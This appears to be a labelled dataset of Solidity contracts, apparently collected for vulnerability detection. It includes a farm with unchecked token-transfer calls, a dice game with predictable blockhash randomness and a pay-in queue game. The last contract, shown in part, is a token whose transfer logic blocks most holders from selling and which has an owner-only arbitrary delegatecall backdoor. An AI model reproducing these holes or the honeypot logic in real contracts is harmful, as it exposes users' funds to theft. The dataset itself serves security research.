pool.lastRewardBlock = block.number; pool.debtIndexKey++; } function pendingTesta(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accTestaPerShare = pool.accTestaPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accTestaPerShare = accTestaPerShare.add(testaReward.mul(1e18).div(lpSupply)); } uint256 rewardDebt = user.rewardDebt[pool.debtIndexKey]; return user.amount.mul(accTestaPerShare).div(1e18).sub(rewardDebt).add(user.pendingTesta[pool.debtIndexKey]); } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accTestaPerShare = pool.accTestaPerShare.add(testaReward.mul(1e18).div(lpSupply)); pool.lastRewardBlock = block.number; } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { user.pendingTesta[pool.debtIndexKey] = pendingTesta(_pid, msg.sender); } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "No lpToken cannot withdraw"); updatePool(_pid); if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18); emit Withdraw(msg.sender, _pid, _amount); } function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt[pool.debtIndexKey] = 0; } function safeTestaTransfer(address _to, uint256 _amount) internal { uint256 testaBal = IERC20(testa).balanceOf(address(this)); if (_amount > testaBal) { testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, testaBal)); } else { testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, _amount)); } } }
0
442
library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier stopNonOwnersInEmergency { require(!halted || msg.sender == owner); _; } modifier onlyInEmergency { require(halted); _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20 is ERC20 { uint public decimals; } contract Crowdsale is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLib for uint; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public presaleWeiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; bool public requireCustomerId; bool public requiredSignedAddress; address public signerAddress; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Refund(address investor, uint weiAmount); event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); event Whitelisted(address addr, bool status); event EndsAtChanged(uint newEndsAt); function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { require(_multisigWallet != 0); require(_start != 0 && _end != 0); require(_start < _end); owner = msg.sender; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; startsAt = _start; endsAt = _end; minimumFundingGoal = _minimumFundingGoal; } function() { } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { require(earlyParticipantWhitelist[receiver]); } else if(getState() == State.Funding) { } else { revert(); } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); require(tokenAmount != 0); if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(pricingStrategy.isPresalePurchase(receiver)) { presaleWeiRaised = presaleWeiRaised.plus(weiAmount); } require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); assignTokens(receiver, tokenAmount); multisigWallet.transfer(weiAmount); Invested(receiver, weiAmount, tokenAmount, customerId); } function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { uint tokenAmount = fullTokens * 10**token.decimals(); uint weiAmount = weiPrice * fullTokens; weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, 0); } function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { bytes32 hash = sha256(addr); require(ecrecover(hash, v, r, s) == signerAddress); require(customerId != 0); investInternal(addr, customerId); } function investWithCustomerId(address addr, uint128 customerId) public payable { require(!requiredSignedAddress); require(customerId != 0); investInternal(addr, customerId); } function invest(address addr) public payable { require(!requireCustomerId); require(!requiredSignedAddress); investInternal(addr, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { investWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerId(uint128 customerId) public payable { investWithCustomerId(msg.sender, customerId); } function buy() public payable { invest(msg.sender); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { require(!finalized); if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { require(addr.isFinalizeAgent()); finalizeAgent = addr; } function setRequireCustomerId(bool value) onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { requiredSignedAddress = value; signerAddress = _signerAddress; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function setEndsAt(uint time) onlyOwner { require(now <= time); require(time > startsAt); endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { require(_pricingStrategy.isPricingStrategy()); pricingStrategy = _pricingStrategy; } function setMultisig(address addr) public onlyOwner { require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE); multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { require(msg.value != 0); loadedRefund = loadedRefund.plus(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; require(weiValue != 0); investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.plus(weiValue); Refund(msg.sender, weiValue); msg.sender.transfer(weiValue); } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { require(getState() == state); _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract AllocatedCrowdsale is Crowdsale { address public beneficiary; function AllocatedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, address _beneficiary) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { beneficiary = _beneficiary; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { if(tokenAmount > getTokensLeft()) { return true; } else { return false; } } function isCrowdsaleFull() public constant returns (bool) { return getTokensLeft() == 0; } function getTokensLeft() public constant returns (uint) { return token.allowance(owner, this); } function assignTokens(address receiver, uint tokenAmount) private { require(token.transferFrom(beneficiary, receiver, tokenAmount)); } }
1
3,541
pragma solidity ^0.4.24; contract ZTHReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } modifier gameIsActive { require(gamePaused == false); _; } modifier onlyOwner { require(msg.sender == owner); _; } uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 99; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; uint public totalBets; uint public totalZTHWagered; event LogBet(address sender, uint value, uint rollUnder); event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { owner = msg.sender; ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; ZethrBankroll = zthbankrolladdr; houseEdge = 990; ownerSetMaxProfitAsPercentOfHouse(10000); ownerSetMinBet(1e18); ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } struct playerRoll{ uint200 tokenValue; uint48 blockn; uint8 rollUnder; } mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); require(block.number < ((2 ** 48) - 1)); require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; require(block.number != roll.blockn); if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } roll.blockn = uint48(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); playerRolls[_tkn.sender] = roll; emit LogBet(_tkn.sender, _tkn.value, _rollUnder); totalBets += 1; totalZTHWagered += _tkn.value; } function finishBet() public gameIsActive returns (uint) { return _finishBet(true, msg.sender); } function _finishBet(bool delete_it, address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); require(roll.blockn != block.number); uint result; if (block.number - roll.blockn > 255) { result = 1000; } else { result = random(99, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { uint profit = calculateProfit(roll.tokenValue, rollUnder); if (profit > maxProfit){ profit = maxProfit; } contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); setMaxProfit(); playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0)); ZTHTKN.transfer(target, profit + roll.tokenValue); return result; } else { emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); contractBalance = contractBalance.add(roll.tokenValue); playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0)); setMaxProfit(); return result; } } struct TKN {address sender; uint value;} function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { require(msg.sender == ZTHTKNADDR); if (_from == ZethrBankroll) { contractBalance = contractBalance.add(_value); uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { contractBalance = contractBalance.sub(amount); setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
1
2,638
pragma solidity ^0.4.24; contract XKnockoutWhale2 { using SafeMath for uint256; struct EntityStruct { bool active; bool vip; uint listPointer; uint256 date; uint256 update; uint256 exit; uint256 profit; } mapping(address => EntityStruct) public entityStructs; address[] public entityList; address[] public vipList; address dev; uint256 base = 3000000000000000000; uint256 public startedAt = now; uint256 public timeRemaining = 24 hours; uint256 public devreward; uint public round = 1; uint public shift = 0; uint public joined = 0; uint public exited = 0; bool public timetoRegular = true; constructor() public { dev = msg.sender; } function() public payable { if(!checkRemaining()) { if(msg.value == base) { addToList(); } else if(msg.value == base.div(10)) { up(); } else { revert("Send 3 ETH to join the list or 0.3 ETH to up"); } } } function addToList() internal { if(entityStructs[msg.sender].active) revert("You are already in the list"); newEntity(msg.sender, true); joined++; startedAt = now; entityStructs[msg.sender].date = now; entityStructs[msg.sender].profit = 0; entityStructs[msg.sender].update = 0; entityStructs[msg.sender].exit = 0; entityStructs[msg.sender].active = true; entityStructs[msg.sender].vip = false; if(timetoRegular) { entityStructs[entityList[shift]].profit += base; if(entityStructs[entityList[shift]].profit == 2*base) { exitREG(); } } else { uint lastVIP = lastVIPkey(); entityStructs[vipList[lastVIP]].profit += base; if(entityStructs[vipList[lastVIP]].profit == 2*base) { exitVIP(vipList[lastVIP]); } } } function up() internal { if(joined.sub(exited) < 3) revert("You are too alone to up"); if(!entityStructs[msg.sender].active) revert("You are not in the list"); if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min"); if(!entityStructs[msg.sender].vip) { uint rowToDelete = entityStructs[msg.sender].listPointer; address keyToMove = entityList[entityList.length-1]; entityList[rowToDelete] = keyToMove; entityStructs[keyToMove].listPointer = rowToDelete; entityList.length--; entityStructs[msg.sender].update = now; entityStructs[msg.sender].vip = true; newVip(msg.sender, true); devreward += msg.value; } else if (entityStructs[msg.sender].vip) { entityStructs[msg.sender].update = now; delete vipList[entityStructs[msg.sender].listPointer]; newVip(msg.sender, true); devreward += msg.value; } } function newEntity(address entityAddress, bool entityData) internal returns(bool success) { entityStructs[entityAddress].active = entityData; entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1; return true; } function exitREG() internal returns(bool success) { entityStructs[entityList[shift]].active = false; entityStructs[entityList[shift]].exit = now; entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) ); devreward += entityStructs[entityList[shift]].profit.mul(10).div(100); exited++; delete entityList[shift]; shift++; if(lastVIPkey() != 9999) { timetoRegular = false; } return true; } function newVip(address entityAddress, bool entityData) internal returns(bool success) { entityStructs[entityAddress].vip = entityData; entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1; return true; } function exitVIP(address entityAddress) internal returns(bool success) { uint lastVIP = lastVIPkey(); entityStructs[vipList[lastVIP]].active = false; entityStructs[vipList[lastVIP]].exit = now; vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) ); devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100); uint rowToDelete = entityStructs[entityAddress].listPointer; address keyToMove = vipList[vipList.length-1]; vipList[rowToDelete] = keyToMove; entityStructs[keyToMove].listPointer = rowToDelete; vipList.length--; exited++; timetoRegular = true; return true; } function lastREGkey() public constant returns(uint) { if(entityList.length == 0) return 9999; if(shift == entityList.length) return 9999; uint limit = entityList.length-1; for(uint l=limit; l >= 0; l--) { if(entityList[l] != address(0)) { return l; } } return 9999; } function lastVIPkey() public constant returns(uint) { if(vipList.length == 0) return 9999; uint limit = vipList.length-1; for(uint j=limit; j >= 0; j--) { if(vipList[j] != address(0)) { return j; } } return 9999; } function checkRemaining() public returns (bool) { if(now >= timeRemaining.add(startedAt)) { if(lastVIPkey() != 9999) { uint limit = vipList.length-1; for(uint l=limit; l >= 0; l--) { if(vipList[l] != address(0)) { entityStructs[vipList[l]].active = false; entityStructs[vipList[l]].vip = false; entityStructs[vipList[l]].date = 0; } if(l == 0) break; } } if(lastREGkey() != 9999) { for(uint r = shift; r <= entityList.length-1; r++) { entityStructs[entityList[r]].active = false; entityStructs[entityList[r]].date = 0; } } rewardDev(); if(address(this).balance.sub(devreward) > 0) { if(lastVIPkey() != 9999) { vipList[lastVIPkey()].transfer(address(this).balance); } } vipList.length=0; entityList.length=0; shift = 0; startedAt = now; timeRemaining = 24 hours; timetoRegular = true; exited = joined = 0; round++; return true; } uint range = joined.sub(exited).div(100); if(range != 0) { timeRemaining = timeRemaining.div(range.mul(2)); } return false; } function rewardDev() public { dev.transfer(devreward); devreward = 0; } function queueVIP() public view returns (address[]) { return vipList; } function queueREG() public view returns (address[]) { return entityList; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
4,963
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract BHTOKEN { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); function BHTOKEN( ) public { totalSupply = 10000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "BH TOKEN"; symbol = "BHT"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
1
5,307
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } 